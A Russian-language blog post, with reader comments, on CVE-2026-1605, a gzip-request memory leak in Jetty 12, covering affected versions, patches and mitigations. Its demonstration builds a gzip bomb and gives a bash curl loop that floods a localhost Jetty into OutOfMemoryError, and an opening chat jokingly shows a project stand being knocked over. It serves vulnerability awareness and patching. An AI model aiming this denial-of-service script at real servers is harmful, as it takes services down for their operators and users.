За окном весна, на улице уже вовсю и ярко светит солнце, поют птички и тает последний снег. А в знаменитом сервере Jetty обнаружилась новая дыра космических масштабов.

Почти 4Гб сожранной памяти меньше чем за минуту работы.
Почти 4Гб сожранной памяти меньше чем за минуту работы.

Статус

Номер уязвимости: CVE-2026-1605

Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Уровень: 7.5 HIGH

..

acidburn96: хочешь фокус покажу

alex0x08: только не как в прошлый раз ж)

acidburn96: стенд проекта [вырезаноцензурой] еще работает?

alex0x08: работает, пока еще не успели снести

acidburn96: открой его в браузере

alex0x08: открыл

alex0x08: и что дальше?

acidburn96: жди

acidburn96: жди

acidburn96: жди

acidburn96: проверяй

acidburn96: жми F5

alex0x08: так блин

alex0x08: слыш Копперфильд

alex0x08: и где стенд? куда все делось?

Шапка с описанием уязвимости в Github Advisory Database, который я теперь читаю каждое утро вместо новостей.
Шапка с описанием уязвимости в Github Advisory Database, который я теперь читаю каждое утро вместо новостей.

Уязвимость

Еще в январе 2026 года в проекте Eclipse Jetty — такой очень известный сервлет-контейнер для Java, была обнаружена серьезная проблема с обработкой сжатых входящих запросов.

Догадываюсь, что далеко не всем из читателей известно о том что помимо сжатых ответов (статику сжимают наверное все), бывают еще и сжатые запросы к веб-серверам, поэтому вот тут немного больше информации о таком замечательном функционале.

Как бы то ни было, в начале марта информация по этой проблеме была выложена в публичный доступ.

Правда без PoC и с весьма мутным описанием:

The leak is created by requests where the request is inflated (Content-Encoding: gzip) and the response is not deflated (no Accept-Encoding: gzip). In these conditions, a new inflator will be created by GzipRequest and never released back into GzipRequest.__inflaterPool because gzipRequest.destory() is not called.

Что впрочем не помешало восстановить логику работы по одним только коммитам с исправлениями.

В чем суть:

при обработке входящих запросов к серверу с заголовком Content-Encoding: gzip и сжатым содержимым, в некоторых случаях происходит утечка памяти.

Чтобы это сработало, необходимо чтобы клиент присылал только заголовок Content-Encoding: gzip, но не присылал Accept-Encoding: gzip, по наличию которого включается сжатие ответов.

Надо заметить, что в обычной жизни такая комбинация невозможна и например Google Chrome отправляет заголовок Accept-Encoding: gzip всегда, вне зависимости от того сжат ли запрос.

Зона риска

Хотя проблема затрагивает только 12ю версию Jetty, но зато все релизы с 2023 года и по март 2026го, страшные красные плашки на артефактах вот тут не дадут соврать.

Поскольку Jetty чаще всего используется как встраиваемый движок, а не отдельно устанавливаемое приложение — в зоне риска все проекты, которые использовали или используют артефакт jetty-server за последние три года.

Что-то около четырех с половиной тысяч проектов, согласно статистике.

Но есть что-то и хорошее во всем этом бесконечном мраке ужаса и отчаяния:

обработка сжатых запросов и ответов по-умолчанию выключена и требует отдельной настройки.

Правда эта настройка чуть ли не первое, что включают на реальном продакшне при сколь-нибудь существенной нагрузке, но не будем снова о грустном.

Исправление

На момент написания этих строк, проблема уже исправлена.

Для ветки 12.1.х начиная с 12.1.6, для более ранней и стабильной 12.0.х — начиная с 12.0.32.

Если в вашем проекте Jetty используется в виде зависимости, вроде:

<dependency>
            <groupId>org.eclipse.jetty</groupId>
            <artifactId>jetty-server</artifactId>
            <version>12.1.5</version>
</dependency>

Достаточно лишь изменить версию на исправленную и обновиться.

Но на свете существует еще и такая зверская вещь как Spring Boot — огромный современный фреймворк, который давно стал стандартом «де-факто» для всей бекэнд-разработки на Java.

Spring Boot активно использует Jetty в качестве одного из главных сервлет-контейнеров:

Обратите внимание на номер версии в зависимости Jetty, а ведь 4.0.2 совсем недавно считалась свежей и использовалась повсеместно.
Обратите внимание на номер версии в зависимости Jetty, а ведь 4.0.2 совсем недавно считалась свежей и использовалась повсеместно.

Версии Spring Boot с исправленным Jetty начинаются с 4.0.3, но обновлять сам Spring Boot — то еще приключение.

Так что для многих весна станет очень тяжелой.

Демонстрация

Описание уязвимости это конечно хорошо, но к сожалению серьезных дыр стало настолько много в последнее время, что глаз безопасника замылился — уже не реагирует на проблемы слабее RCE и статуса «Critical».

Так что было решено провести демонстрацию — собрать уязвимый стенд и попробовать его завалить.

Может хоть это заставит кого-то из читателей обновиться.

Тестовое приложение

Поскольку Jetty это только сервлет-контейнер, HTTP-запросы все равно должны обрабатываться каким-нибудь конечным сервлетом.

 Поэтому для проверки уязвимости был сотворен вот такой простейший сервлет:

package com.Ox08.vuln.cve20261605;

import jakarta.servlet.ServletInputStream;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
/*
    Простейший сервлет для демонстрации CVE-2026-1605
*/
@WebServlet("/yo")
public class TestServlet extends  HttpServlet {   
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        resp.setContentType("text/plain");
        PrintWriter out = resp.getWriter();
        out.printf("Request at: %d%n", System.currentTimeMillis());

        try (ServletInputStream in = req.getInputStream()) {
            // вызов чтения данных запустит распаковку запроса
            byte[] data = in.readAllBytes();
            out.printf("Request size: %d%n", data.length);
        }
    }
}

Все что делает код выше это лишь чтение тела POST-запроса и отдача двух строк как «plain text»: таймстампа запроса и размера полученных данных.

Тут нет ни сложной потоковой обработки, ни Mutipart-запросов — все гораздо проще, отчего и страшнее.

Собрать можно любой средой разработки для Java, хоть что-то знающей о сервлетах, например в Intellij Idea.

Тестовый Jetty

Помимо тестового приложения, необходима еще и уязвимая версия Jetty.

Для чистоты эксперимента, была взята версия 12.1.5 , последняя в ветке 12.1.х до исправления, которую можно скачать тут.

Скачиваем и распаковываем:

wget https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/12.1.5/jetty-home-12.1.5.zip
unzip jetty-home-12.1.5.zip

Следующим шагом необходимо подготовить рабочий каталог Jetty, поскольку с недавних пор сервер Jetty с библиотеками и скриптами отделен от рабочей области, в которой происходит развертывание веб-приложений:

mkdir jetty-work
cd jetty-work
export JETTY_HOME=../jetty-home-12.1.5

Включаем основные модули:

java -jar $JETTY_HOME/start.jar --add-modules=server,http,ee11-deploy,ee11-jsp

Включаем модуль gzip:

java -jar $JETTY_HOME/start.jar --add-modules=gzip

Тут стоит заметить, что модуль gzip начиная с версии 12.1.х помечен как «deprecated» т. е. устаревший, с предложением перехода на его замену — модуль compression-gzip.

Но во-первых это Jetty непонятно как долго продлится такой переход, во-вторых более старую версию 12.0.х никто не отменял — ее поддержка точно продолжится минимум на этот год.

В третьих, в наш век погони за метриками и красивыми отчетами, в порядке вещей специально глушить сообщения об устаревании, как поступили для примера парни из Spring.

После добавления, модуль gzip еще надо дополнительно настроить, для чего задаем следующие настройки в файле $JETTY_HOME/start.d/gzip.ini:

## Minimum content length after which gzip is enabled
jetty.gzip.minGzipSize=32

## Inflate request buffer size, or 0 for no request inflation
jetty.gzip.inflateBufferSize=4096

## Comma separated list of included HTTP methods
jetty.gzip.includedMethodList=GET,POST

Дополнительно я еще включил логирование через Logback:

java -jar $JETTY_HOME/start.jar --add-modules=logging-logback

Поскольку по какой-то причине стандартный JCL не хотел работать с сообщениями из модуля gzip.

После добавления модуля, появится файл resources/logback.xml с настройками логирования по-умолчанию.

Внутрь необходимо добавить строку:

 <logger name="org.eclipse.jetty.server.handler.gzip" level="DEBUG" /> 

Копируем наше тестовое приложение gziptest.war в каталог $JETTY_HOME/webapps и наконец запускаем наш уязвимый Jetty:

java -jar $JETTY_HOME/start.jar 

Теперь переходим к формированию специального запроса-убийцы.

Запрос-убийца

Шатать так шатать, для демонстрации процесса была подготовлена классическая ZIP-бомба — огромный пустой файл, который будучи сжатым имеет смешные размеры, но при распаковке создает массу веселья.

Так выглядит процесс создания:

dd if=/dev/zero of=./1g.bin bs=1G count=1
gzip ./1g.bin

А так — сам скрипт «бомбометания»:

#!/bin/bash
export TARGET=http://localhost:8080/gziptest/yo
for i in `seq 1 2000000`; do 
curl -v -s --data-binary @1g.bin.gz -H "Content-Encoding: gzip" $TARGET;
done

Он сознательно сделан максимально простым, без участия сети, без параллельных запросов и генерации контента — чтобы можно было показать быстрый рост используемой памяти — ту самую утечку.

Запускаем и буквально после второго же запроса наблюдаем OOM:

Эта ошибка - причина многих бессонных ночей, проведенных за отладкой и отловом причины.
Эта ошибка - причина многих бессонных ночей, проведенных за отладкой и отловом причины.

Про OutOfMemory

Теперь наверное стоит сделать лирическое отступление и пояснить общественности саму проблематику ошибки OutOfMemoryError.

Поведение приложения на Java при утечке памяти достаточно сильно отличается от аналогичного, например на Golang или C++.

Отличается отнюдь не в лучшую сторону.

Если в аналогичной ситуации с утечкой памяти сервис на Golang просто и банально упадет, позволив отработать watchdog, то сервис, реализованный на Java и словивший OOM.. продолжит работать.

Но только поведение сервиса станет непредсказуемым.

Какие-то запросы (если они помещаются в остатки памяти) продолжат отрабатывать и отдаваться пользователям, какие-то — начнут порождать ошибки.

Если использовался шаблонизатор страниц вроде JSP/JSF с частичной компиляцией и кешированием — то что попало в кеш до OOM продолжит работать, если использовался Thymeleaf или Freemaker то скорее всего все сразу сломается.

Тоже самое с Hibernate ORM и запросами к СУБД — то что успело закешироваться продолжит работать и отдавать данные, то что нет — будет порождать самые разнообразные ошибки с удивительными трассировками, о которых не знает даже Google и нейросети.

Появятся ошибки записи в файлы, ошибки чтения, ошибки транзакций — в Java (в обычных проектах) все это просто не рассчитано на работу при OOM.

Думаю несложно догадаться, что при таких вводных даже реализация «сторожевого пса» (Watchdog) для сервиса на Java представляет проблему.

Доходит до того, что реализации watchdog вешают свои обработчики непосредственно на ошибку OutOfMemoryError, по которой убивают процесс и запускают заново.

Поэтому OOM для Java это что-то вроде Ахиллесовой пяты — мелкая ерунда, которая может убить великана.

Причем не сразу насмерть, а долго и мучительно.

Но вернемся к нашей проблеме.

Эпилог

Стоит только добавить заголовок Accept-Encoding: gzip к запросу и все замечательно работает:

export TARGET=http://localhost:8080/gziptest/yo
curl -v -s --data-binary @1g.xml.gz -H "Content-Type: text/xml" -H "Accept-Encoding: gzip" -H "Content-Encoding: gzip" $TARGET;

Наш запрос-убийца сразу стал белым и пушистым — никаких OutOfMemory больше нет, ответы уходят, память очищается:

Собственно внутри GzipResponseAndCallback и происходило корректное освобождение ресурсов до исправления.
Собственно внутри GzipResponseAndCallback и происходило корректное освобождение ресурсов до исправления.

Напоследок покажу, как выглядит утечка в профайлере VisualVM:

Не так эпично, как на заглавной картинке, но тоже неплохо.
Не так эпично, как на заглавной картинке, но тоже неплохо.

Рекомендации

Помимо традиционных «предохраняться», «перестать пить» и «сменить профессию» стоит порекомендовать хотя-бы иногда просматривать обзоры свежих уязвимостей, дабы оценить применимость к вашей собственной инфраструктуре.

Что же касается конкретно CVE-2026-1605, есть несколько вариантов:

  1. Банальным образом обновиться до исправленных версий;

  2. Отключить проблемый модуль gzip, перенеся игры с сжатием на уровень Nginx, который обычно ставится перед Jetty;

  3. В случае Spring Boot добавить в конфигурацию:

server.compression.enabled=false

Что отключит поддержку сжатых запросов и ответов.

Комментарии (11)


  1. cartonworld
    13.03.2026 07:40

    Правда эта настройка чуть ли не первое, что включают на реальном продакшне при сколь-нибудь существенной нагрузке

    Спорное утверждение

    Обычно до Jetty/Tomcat и т.п. стоит, например, nginx, на его уровне и включается сжатие


    1. alex0x08 Автор
      13.03.2026 07:40

      Это российская традиция, на западе и в азии запросто ставят напрямую голый томкат/джетти, просто подкрутив настройки.


  1. mmMike
    13.03.2026 07:40

    достали постоянные критические уязвимости в Jetty и переключил сервисы на grizzly
    Как то в нем меньше уязвимостей находят.


    1. alex0x08 Автор
      13.03.2026 07:40

      Jetty в половине случаев используется как встроенный движок для проектов на Spring Boot и тут уже так просто "переключить сервисы" не выйдет.


      1. mmMike
        13.03.2026 07:40

        Не люблю Spring Boot. По возможности не использую.
        А в тех сервисах, где Spring Boot(с 10 где то), то в них там tomcat.


    1. AstarothAst
      13.03.2026 07:40

      То, что их не находят не значит, что их нет - возможно просто никто особо не ищет.


      1. mmMike
        13.03.2026 07:40

        А вас не достают требованиями СИБ о том что нужно "сделать так что бы анализатор не показывал уязвимостей".
        Причем доводы о том, что эта "уязвимость" в принципе не применима к данному прикладному ПО, просто не принимаются во внимание.
        "не должен показывать" и все тут.

        Так и довод мой довод, что "gzip" в принципе не может прилететь из этого доверенного источника, не был принят во внимание (если уж источник/канал компрометирован, то от туда прилетит финансовое распоряжение, а не gzip бомба)
        "не должно быть.."
        Психанул и заменил на grizzly. Благо сервис не на Spring Boot и меняется легко.

        А Spring Boot это вообще.. переписывать на 4.x cо старых 2.x потому что "не должно быть сообщений об уязвимости".. Сервисы которым уже по 10 лет (и работают).
        А на Spring Boot 2.x.x строчек 20 сообщений об уязвимостях на самой последней версии.

        Да лучше бы сразу было написано без оберток Spring Boot. Заменил некоторые либы и все.


        1. AstarothAst
          13.03.2026 07:40

          А вас не достают требованиями СИБ о том что нужно "сделать так что бы анализатор не показывал уязвимостей". Причем доводы о том, что эта "уязвимость" в принципе не применима к данному прикладному ПО, просто не принимаются во внимание. "не должен показывать" и все тут.

          Так тут проблема не в Спринге, а в вашей СИБ - и вы ее "решили" отказавшись от Спринга, но это ж не решение, правильно? Завтра возможности отказаться от чего-то что бы накормить СИБ не будет, и вы обратно окажетесь в такой же ситуации, только вместо Спринга будет что-то еще.

          Психанул и заменил на grizzly. Благо сервис не на Spring Boot и меняется легко.

          Заметьте, заменили вы не потому, что Спринг плох или Гризли хорош, а потому что нашелся кто-то, кто заставил вас психануть.

          А на Spring Boot 2.x.x строчек 20 сообщений об уязвимостях на самой последней версии.

          Это говорит только о том, что уязвимости ищут и находят - и вам о них говорят. А, ка я и сказал, то, что в Гризли ничего не найдено вовсе не говорит, что в нем нет дыр размером с верблюда - может их просто не ищут и не сообщают о них, поди знай...

          Да лучше бы сразу было написано без оберток Spring Boot. Заменил некоторые либы и все.

          Думаю очевидно, что проблема тут ни разу не в Спринге, а в том, что кто-то не хочет включать мозг, и спускает указивки на "устранение уязвимостей" не приходя в сознание.


  1. johndow
    13.03.2026 07:40

    Думаю несложно догадаться, что при таких вводных даже реализация «сторожевого пса» (Watchdog) для сервиса на Java представляет проблему.

    эээ. чешу репу. а как же -XX:+ExitOnOutOfMemoryError, -XX:+CrashOnOutOfMemoryError ?


    1. alex0x08 Автор
      13.03.2026 07:40

      Оно не всегда срабатывает, а генерация crash-репорта на проде - так себе занятие.


      1. johndow
        13.03.2026 07:40

        ну да, не панацея, но в моей практике на нормальных свежих JRE работает вполне надежно